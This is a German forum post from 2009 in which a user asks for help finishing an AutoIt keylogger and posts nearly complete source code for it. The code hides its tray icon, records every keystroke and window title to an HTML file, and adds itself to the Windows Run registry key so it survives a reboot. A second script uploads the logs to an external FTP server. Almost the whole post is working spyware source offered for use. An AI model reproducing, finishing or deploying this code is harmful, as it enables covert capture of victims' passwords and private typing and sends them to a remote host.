Checker
29.05.2009, 00:31
Hallo alle zusammen.
Ich möchte gerne einen AUTOIT KEYLOGGER erstellen der dann eine datei blabla.html auf dem desktop speichert & nach 5 minuten auf meinen FTP server schickt. Ist das erstmal möglich?
So...
Dann hab ich Schon:
Der Keylogger
#NoTrayIcon
;Local $CurrentRegRead = RegRead( "HKEY_CURRENT_USER\Software", "Microsoft")
Local $date = @YEAR & "-" & @MON & "-" & @MDAY
Local $user32 = DllOpen("user32"), $log
Local $window2 = ""
Local $CAPSLOCKTOGGLE
Local $log = "datei_nicht_oeffnen.html"
HotKeySet( "^{F9}", "Terminate")
opt("OnExitFunc", "Terminate")
If FileExists($log) = 1 Then
FileDelete( $log )
EndIf
FileWrite($log,"")
FileOpen($log, 1)
Sleep(100)
FileWrite($log, "<font face=Verdana size=1>")
FileWrite($log, "<b><center>[#[ Keylogger Log Start ]#] </center></b><br>")
FileWrite($log, "<b><center>[#[ History : ]#] </center></b><br>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{LMS} = Linke Maus Taste<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{RMS} = Rechte Maus Taste<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{MMS} = Mittlere Maus Taste<br></font></center>")
FileWrite($log, "<br>")
FileWrite($log, "<b><center>[#[ Log : ]#] </center></b><br>")
;VK_MENU = ALT = 0x12
;bzw.
;VK_LMENU = ALT = 0xA4
;VK_RMENU = ALT GR = 0xA5
While 1
For $n = 30 To 39 ;zahlen
If _IsPressed ($n) Then
If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('=')
ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('0')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('!')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('1')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('"')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('2')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('#')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress( '3')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('$')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('4')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('%')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress( '5')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('&')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('6')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('/')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('7')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('(')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('8')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress(')')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('9')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('2E') = 1 Then
_LogKeyPress('.')
While _IsPressed ('2E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('3F') = 1 Then
_LogKeyPress("?")
While _IsPressed ('3F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('B4') = 1 Then
_LogKeyPress("´")
While _IsPressed ('B4') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2A') = 1 Then
_LogKeyPress("*")
While _IsPressed ('2A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2B') = 1 Then
_LogKeyPress("+")
While _IsPressed ('2B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LogKeyPress("'")
While _IsPressed ('27') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('41') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("a")
Else
_LogKeyPress("A")
EndIf
While _IsPressed ('41') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('42') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("b")
Else
_LogKeyPress("B")
EndIf
While _IsPressed ('42') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('43') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("c")
Else
_LogKeyPress("C")
EndIf
While _IsPressed ('43') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('44') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("d")
Else
_LogKeyPress("D")
EndIf
While _IsPressed ('44') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('45') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("e")
Else
_LogKeyPress("E")
EndIf
While _IsPressed ('45') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('46') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("f")
Else
_LogKeyPress("F")
EndIf
While _IsPressed ('46') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('47') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("g")
Else
_LogKeyPress("G")
EndIf
While _IsPressed ('47') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('48') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("h")
Else
_LogKeyPress("H")
EndIf
While _IsPressed ('48') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('49') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("i")
Else
_LogKeyPress("I")
EndIf
While _IsPressed ('49') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("j")
Else
_LogKeyPress("J")
EndIf
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4B') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("k")
Else
_LogKeyPress("K")
EndIf
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4C') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("l")
Else
_LogKeyPress("L")
EndIf
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4D') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("m")
Else
_LogKeyPress("M")
EndIf
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4E') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("n")
Else
_LogKeyPress("N")
EndIf
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4F') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("o")
Else
_LogKeyPress("O")
EndIf
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('50') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("p")
Else
_LogKeyPress("P")
EndIf
While _IsPressed ('50') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('51') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("q")
Else
_LogKeyPress("Q")
EndIf
While _IsPressed ('51') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('52') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("r")
Else
_LogKeyPress("R")
EndIf
While _IsPressed ('52') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('53') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("s")
Else
_LogKeyPress("S")
EndIf
While _IsPressed ('53') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('54') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("t")
Else
_LogKeyPress("T")
EndIf
While _IsPressed ('54') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('55') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("u")
Else
_LogKeyPress("U")
EndIf
While _IsPressed ('55') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('56') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("v")
Else
_LogKeyPress("V")
EndIf
While _IsPressed ('56') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('57') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("w")
Else
_LogKeyPress("W")
EndIf
While _IsPressed ('57') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('58') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("x")
Else
_LogKeyPress("X")
EndIf
While _IsPressed ('58') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('59') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("y")
Else
_LogKeyPress("Y")
EndIf
While _IsPressed ('59') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('5A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("z")
Else
_LogKeyPress("Z")
EndIf
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('20') = 1 Then
_LogKeyPress(" ")
While _IsPressed ('20') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('01') = 1 Then
;$CURMOUSEPOS = MouseGetPos()
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
While _IsPressed ("01") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('02') = 1 Then
;$CURMOUSEPOS = MouseGetPos()
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
While _IsPressed ("02") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('04') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
While _IsPressed ("04") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('08') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")
; $replacestring = StringRight( $log , 1)
; $retval = _ReplaceStringInFile($log,$replacestring,"BLA")
While _IsPressed ("08") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('09') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
While _IsPressed ("09") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('0d') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
While _IsPressed ("0d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('10') Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
While _IsPressed ("10") = 1
For $n = 30 To 39 ;zahlen
If _IsPressed ($n) Then
If StringRight($n, 1) = 0 Then
_LogKeyPress('=')
ElseIf StringRight($n, 1) = 1 Then
_LogKeyPress('!')
ElseIf StringRight($n, 1) = 2 Then
_LogKeyPress('"')
ElseIf StringRight($n, 1) = 3 Then
_LogKeyPress('#')
ElseIf StringRight($n, 1) = 4 Then
_LogKeyPress('$')
ElseIf StringRight($n, 1) = 5 Then
_LogKeyPress('%')
ElseIf StringRight($n, 1) = 6 Then
_LogKeyPress('&')
ElseIf StringRight($n, 1) = 7 Then
_LogKeyPress('/')
ElseIf StringRight($n, 1) = 8 Then
_LogKeyPress('(')
ElseIf StringRight($n, 1) = 9 Then
_LogKeyPress(')')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('41') = 1 Then _LogKeyPress("A")
While _IsPressed ('41') = 1
Sleep(1)
WEnd
If _IsPressed ('42') = 1 Then _LogKeyPress("B")
While _IsPressed ('42') = 1
Sleep(1)
WEnd
If _IsPressed ('43') = 1 Then _LogKeyPress("C")
While _IsPressed ('43') = 1
Sleep(1)
WEnd
If _IsPressed ('44') = 1 Then _LogKeyPress("D")
While _IsPressed ('44') = 1
Sleep(1)
WEnd
If _IsPressed ('45') = 1 Then _LogKeyPress("E")
While _IsPressed ('45') = 1
Sleep(1)
WEnd
If _IsPressed ('46') = 1 Then _LogKeyPress("F")
While _IsPressed ('46') = 1
Sleep(1)
WEnd
If _IsPressed ('47') = 1 Then _LogKeyPress("G")
While _IsPressed ('47') = 1
Sleep(1)
WEnd
If _IsPressed ('48') = 1 Then _LogKeyPress("H")
While _IsPressed ('48') = 1
Sleep(1)
WEnd
If _IsPressed ('49') = 1 Then _LogKeyPress("I")
While _IsPressed ('49') = 1
Sleep(1)
WEnd
If _IsPressed ('4A') = 1 Then _LogKeyPress("J")
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
If _IsPressed ('4B') = 1 Then _LogKeyPress("K")
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
If _IsPressed ('4C') = 1 Then _LogKeyPress("L")
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
If _IsPressed ('4D') = 1 Then _LogKeyPress("M")
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
If _IsPressed ('4E') = 1 Then _LogKeyPress("N")
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
If _IsPressed ('4F') = 1 Then _LogKeyPress("O")
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
If _IsPressed ('50') = 1 Then _LogKeyPress("P")
While _IsPressed ('50') = 1
Sleep(1)
WEnd
If _IsPressed ('51') = 1 Then _LogKeyPress("Q")
While _IsPressed ('51') = 1
Sleep(1)
WEnd
If _IsPressed ('52') = 1 Then _LogKeyPress("R")
While _IsPressed ('52') = 1
Sleep(1)
WEnd
If _IsPressed ('53') = 1 Then _LogKeyPress("S")
While _IsPressed ('53') = 1
Sleep(1)
WEnd
If _IsPressed ('54') = 1 Then _LogKeyPress("T")
While _IsPressed ('54') = 1
Sleep(1)
WEnd
If _IsPressed ('55') = 1 Then _LogKeyPress("U")
While _IsPressed ('55') = 1
Sleep(1)
WEnd
If _IsPressed ('56') = 1 Then _LogKeyPress("V")
While _IsPressed ('56') = 1
Sleep(1)
WEnd
If _IsPressed ('57') = 1 Then _LogKeyPress("W")
While _IsPressed ('57') = 1
Sleep(1)
WEnd
If _IsPressed ('58') = 1 Then _LogKeyPress("X")
While _IsPressed ('58') = 1
Sleep(1)
WEnd
If _IsPressed ('59') = 1 Then _LogKeyPress("Y")
While _IsPressed ('59') = 1
Sleep(1)
WEnd
If _IsPressed ('5A') = 1 Then _LogKeyPress("Z")
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
WEnd
ElseIf _IsPressed ('11') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
While _IsPressed ("11") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('12') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
While _IsPressed ("12") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('13') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
While _IsPressed ("13") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('14') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
$CAPSLOCKTOGGLE = 1
EndIf
While _IsPressed ("14") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('1b') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
While _IsPressed ("1b") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('21') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
While _IsPressed ("21") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('22') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
While _IsPressed ("22") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('23') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
While _IsPressed ("23") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('24') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
While _IsPressed ("24") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('25') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
While _IsPressed ("25") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('26') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
While _IsPressed ("26") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
While _IsPressed ("27") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('28') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
While _IsPressed ("28") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2c') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
While _IsPressed ("2c") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2d') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
While _IsPressed ("2d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2e') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
While _IsPressed ("2e") = 1
Sleep(1)
WEnd
EndIf
WEnd
Func _IsPressed($hexKey)
Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)
If $aR[0] <> 0 Then
$bRv = 1
Else
$bRv = 0
EndIf
Return $bRv
EndFunc ;==>_IsPressed
Func _LogKeyPress($what2log)
$window = WinGetTitle("")
If $window = $window2 Then
FileWrite($log, $what2log)
Else
$window2 = $window
FileWrite($log, "<br><BR>" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : "' & $window & '"</b><br>' & $what2log)
EndIf
EndFunc ;==>_LogKeyPress
Func Terminate()
DllClose($user32)
FileClose($log)
Exit
EndFunc ;==>Terminate
Der Versender:
; === Opties ===
; Optie variabele waarin staat in welke directories je gaat zoeken.
; Voer geen directories in zoals C:\123\ EN C:\123\456, gebruik dan alleen C:\123\
Local $opt_SearchDir[1] = ["C:\Dokumente und Einstellungen\Felix\Desktop\"] ; <== Invullen
; Optie voor file extensions.
Local $opt_FileExtensions = "*.html"
; FTP opties
Local $opt_FTP_Server = "people-ftp.freenet.de" ; <== Invullen
Local $opt_FTP_Username = "MEINNAME" ; <== Invullen
Local $opt_FTP_Password = "MEINPASSWORT" ; <== Invullen
Local $opt_FTP_Directory = "/" ; Moet met / gedaan. Moet een / aan het begin en aan het eind. Voorbeeld: /public_html/images/
; =======================
; === Hoofd programma ===
;If ( Not @Compiled ) Then
; MsgBox(0, "", "This script needs to be compiled.")
; Exit
;EndIf
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run", "UploadImageToFTP", "REG_SZ", @ScriptFullPath)
;RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run", "UploadImageToFTP")
Global $hFtp
_Connect()
For $i = 0 to UBound($opt_SearchDir)-1
$lFile = _FileListToArrayEx($opt_SearchDir[$i],$opt_FileExtensions,True)
For $n = 1 To UBound($lFile)-1
_FTPUpload($lFile[$n])
Next
Next
_Close()
Exit
Func _Connect()
$hFtp = _FTPOpen("ManadarX")
_FTPConnect($hFtp, $opt_FTP_Server, $opt_FTP_Username, $opt_FTP_Password, 21, 1, 0x08000000)
If @error Then
MsgBox(0,"UploadToFTP", "Er kan geen verbinding worden gemaakt met de server. ")
Exit
EndIf
_FTPMakeDir($hFtp, $opt_FTP_Directory)
_FtpSetCurrentDir($hFtp, $opt_FTP_Directory)
EndFunc
Func _FTPUpload($pFile)
Local $aDrive, $aDir, $aFile, $aExt
ConsoleWrite("Uploading file " & $pFile & @CRLF)
_PathSplit($pFile,$aDrive,$aDir,$aFile,$aExt)
_FTPPutFile($hFtp, $pFile, $opt_FTP_Directory & $aFile & $aExt, 2) ;; <== Werkt dus niet
EndFunc
Func _Close()
_FTPClose($hFtp)
EndFunc
; Utility functions
Func _FileListToArrayEx($sPath, $sFilter = '*.*', $iRecurse = False)
If Not FileExists($sPath) Then Return SetError(1, 1, '')
If $sFilter = -1 Or $sFilter = Default Then $sFilter = '*.*'
;If $sExclude = -1 Or $sExclude = Default Then $sExclude = ''
;Local $aBadChar[6] = ['\', '/', ':', '>', '<', '|']
$sFilter = StringRegExpReplace($sFilter, '\s*;\s*', ';')
If StringRight($sPath, 1) <> '\' Then $sPath &= '\'
;For $iCC = 0 To 5
; If StringInStr($sFilter, $aBadChar[$iCC]) Or _
; StringInStr($sExclude, $aBadChar[$iCC]) Then Return SetError(2, 2, '')
;Next
If StringStripWS($sFilter, 8) = '' Then Return SetError(2, 2, '')
Local $oFSO = ObjCreate("Scripting.FileSystemObject"), $sTFolder
$sTFolder = $oFSO.GetSpecialFolder(2)
Local $hOutFile = @TempDir & $oFSO.GetTempName
If Not StringInStr($sFilter, ';') Then $sFilter &= ';'
Local $aSplit = StringSplit(StringStripWS($sFilter, 8), ';'), $sRead, $sHoldSplit
For $iCC = 1 To $aSplit[0]
If StringStripWS($aSplit[$iCC],8) = '' Then ContinueLoop
If StringLeft($aSplit[$iCC], 1) = '.' And _
UBound(StringSplit($aSplit[$iCC], '.')) - 2 = 1 Then $aSplit[$iCC] = '*' & $aSplit[$iCC]
$sHoldSplit &= '"' & $sPath & $aSplit[$iCC] & '" '
Next
$sHoldSplit = StringTrimRight($sHoldSplit, 1)
If $iRecurse Then
RunWait(@Comspec & ' /c dir /b /s /a ' & $sHoldSplit & ' > "' & $hOutFile & '"', '', @SW_HIDE)
Else
RunWait(@ComSpec & ' /c dir /b /a ' & $sHoldSplit & ' /o-e /od > "' & $hOutFile & '"', '', @SW_HIDE)
EndIf
$sRead &= FileRead($hOutFile)
If Not FileExists($hOutFile) Then Return SetError(4, 4, '')
FileDelete($hOutFile)
If StringStripWS($sRead, 8) = '' Then SetError(4, 4, '')
Local $aFSplit = StringSplit(StringTrimRight(StringStripCR($sRead), 1), @LF)
Local $sHold
For $iCC = 1 To $aFSplit[0]
;If $sExclude And StringLeft($aFSplit[$iCC], StringLen(StringReplace($sExclude, '*', ''))) = StringReplace($sExclude, '*', '') Then ContinueLoop
If StringInStr(FileGetAttrib($sPath & '\' & $aFSplit[$iCC]), 'd') = 0 And _
StringInStr(FileGetAttrib($aFSplit[$iCC]), 'd') = 0 Then
If StringRegExp($aFSplit[$iCC], '\w:\\') = 0 Then
$sHold &= $sPath & $aFSplit[$iCC] & Chr(1)
Else
$sHold &= $aFSplit[$iCC] & Chr(1)
EndIf
EndIf
Next
If StringTrimRight($sHold, 1) Then Return StringSplit(StringTrimRight($sHold, 1), Chr(1))
Return SetError(4, 4, '')
EndFunc
;FTP UDF, Updated By JohnMC On Sept 10th 2008
;
;A Map Of The Handle Array:
;[0]
;[1]= wininet.dll handle
;[2]= InternetOpen handle
;[3]= InternetConnect handle
;[4]= FTPFileFindFirst dll struct handle
;[5]= FtpFindFirstFile handle
;
;================================================= ==============================
;
; Function Name: _FTPOpen()
; Description: Opens an FTP session.
; Parameter(s): $s_Agent - Random name. ( like "myftp" )
; $l_AccessType - I dont got a clue what this does.
; $s_ProxyName - ProxyName.
; $s_ProxyBypass - ProxyByPasses's.
; $l_Flags - Special flags.
; Requirement(s): wininet.dll
; Return Value(s): On Success - Returns an indentifier.
; On Failure - 0 and sets @ERROR
; Author(s): Wouter van Kesteren.
;
;================================================= ==============================
Func _FTPOpen($s_Agent, $l_AccessType = 1, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0)
local $handles[6]
$handles[1]=DllOpen("wininet.dll")
Local $ai_InternetOpen = DllCall($handles[1], 'long', 'InternetOpen', 'str', $s_Agent, 'long', $l_AccessType, 'str', $s_ProxyName, 'str', $s_ProxyBypass, 'long', $l_Flags)
If @error OR $ai_InternetOpen[0] = 0 Then
SetError(-1)
Return 0
EndIf
$handles[2]=$ai_InternetOpen[0]
Return $handles
EndFunc ;==> _FTPOpen()
;================================================= ==============================
;
; Function Name: _FTPConnect()
; Description: Connects to an FTP server.
; Parameter(s): $l_InternetSession - Array from _FTPOpen()
; $s_ServerName - Server name/ip.
; $s_Username - Username.
; $s_Password - Password.
; $i_ServerPort - Server port ( 0 is default (21) )
; $l_Service - I dont got a clue what this does.
; $l_Flags - Special flags.
; $l_Context - I dont got a clue what this does.
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1.
; On Failure - 0 and sets @ERROR
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPConnect(ByRef $l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_ServerPort = 21, $l_Service = 1, $l_Flags = 0, $l_Context = 0)
Local $ai_InternetConnect = DllCall($l_InternetSession[1], 'long', 'InternetConnect', 'long', $l_InternetSession[2], 'str', $s_ServerName, 'int', $i_ServerPort, 'str', $s_Username, 'str', $s_Password, 'long', $l_Service, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_InternetConnect[0] = 0 Then
SetError(-1)
Return 0
EndIf
$l_InternetSession[3]=$ai_InternetConnect[0]
Return 1
EndFunc ;==> _FTPConnect()
;================================================= ==============================
;
; Function Name: _FTPPutFile()
; Description: Puts an file on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_LocalFile - The local file.
; $s_RemoteFile - The remote Location for the file.
; $l_Flags - Special flags.
; $l_Context - I dont got a clue what this does.
; Requirement(s): DllCall, wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPPutFile(ByRef $l_FTPSession, $s_LocalFile, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpPutFile', 'long', $l_FTPSession[3], 'str', $s_LocalFile, 'str', $s_RemoteFile, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPPutFile[0]
EndFunc ;==> _FTPPutFile()
;================================================= ==================================================
;
; Function Name: _FTPPutFolderContents()
; Description: Puts an folder on an FTP server. Recursivley if selected
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_LocalFolder - The local folder i.e. "c:\temp".
; $s_RemoteFolder - The remote folder i.e. '/website/home'.
; $b_RecursivePut - Recurse through sub-dirs. 0=Non recursive, 1=Recursive
; Requirement(s): wininet.dll
; Author(s): Stumpii
;
;================================================= ==================================================
Func _FTPPutFolderContents(ByRef $l_FTPSession, $s_LocalFolder, $s_RemoteFolder, $b_RecursivePut)
; Shows the filenames of all files in the current directory.
local $search = FileFindFirstFile($s_LocalFolder & "\*.*")
; Check if the search was successful
If $search = -1 Then
MsgBox(0, "Error", "No files/directories matched the search pattern")
Exit
EndIf
While 1
local $file = FileFindNextFile($search)
If @error Then ExitLoop
If StringInStr(FileGetAttrib($s_LocalFolder & "\" & $file), "D") Then
_FTPMakeDir($l_FTPSession, $s_RemoteFolder & "/" & $file)
If $b_RecursivePut Then
_FTPPutFolderContents($l_FTPSession, $s_LocalFolder & "\" & $file, $s_RemoteFolder & "/" & $file, $b_RecursivePut)
EndIf
Else
_FTPPutFile($l_FTPSession, $s_LocalFolder & "\" & $file, $s_RemoteFolder & "/" & $file, 0, 0)
EndIf
WEnd
; Close the search handle
FileClose($search)
EndFunc ;==>_FTPPutFolderContents
;================================================= ==============================
;
; Function Name: _FTPGetFoldercontents
; Description: Recursively retrieves the contents of a directory on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_RemoteDir - The directory on the server to retrieve. (Needs trailing forwardslash)
; $s_LocalDir - The Local directory to save to. (Needs trailing backslash)
; $b_RecursiveGet - Recurse through sub-dirs. 0=Non recursive (top dir only), 1=Recursive (note that this is not tru recursion)
; $s_searchfor - (UNTESTED OTHER THEN DEFAULT) What to download, must be set to default * to download subfolders currently
; Requirement(s): wininet.dll
